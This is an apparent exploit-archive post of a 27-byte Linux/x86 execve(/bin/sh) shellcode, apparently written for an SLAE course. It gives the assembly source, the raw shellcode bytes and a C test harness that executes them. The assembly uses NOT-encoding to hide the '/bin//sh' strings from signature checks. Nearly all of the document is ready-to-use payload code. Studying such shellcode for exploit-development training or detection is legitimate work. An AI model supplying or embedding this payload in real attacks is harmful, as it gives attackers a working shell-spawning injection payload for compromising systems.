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Linux/x86 execve(/bin/sh) Shellcode

Linux/x86 execve(/bin/sh) Shellcode
Posted May 6, 2018
Authored by Nuno Freitas

27 bytes small Linux/x86 execve(/bin/sh) not encoded shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | b5a07c8dcaaa26d6da519872362ea8c42e081fff078f45738e71ae01d270ac56

Linux/x86 execve(/bin/sh) Shellcode

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/*
; Title : Execve /bin/sh Shellcode encoded with NOT
; Date : May, 2018
; Author : Nuno Freitas
; Twitter : @nunof11
; SLAE ID : SLAE-1112
; Size : 27 bytes
; Tested on : i686 GNU/Linux

section .text

global _start

_start:
xor ecx, ecx
mul ecx
push ecx

; instructions to avoid having the strings "nib/" and "hs//" pushed directly
mov edi, 0x978CD0D0
mov esi, 0x91969DD0
not edi
not esi

push edi
push esi

mov ebx, esp
mov al, 0xb
int 0x80
*/

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80";

void main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));

int (*ret)() = (int(*)())shellcode;
ret();
}


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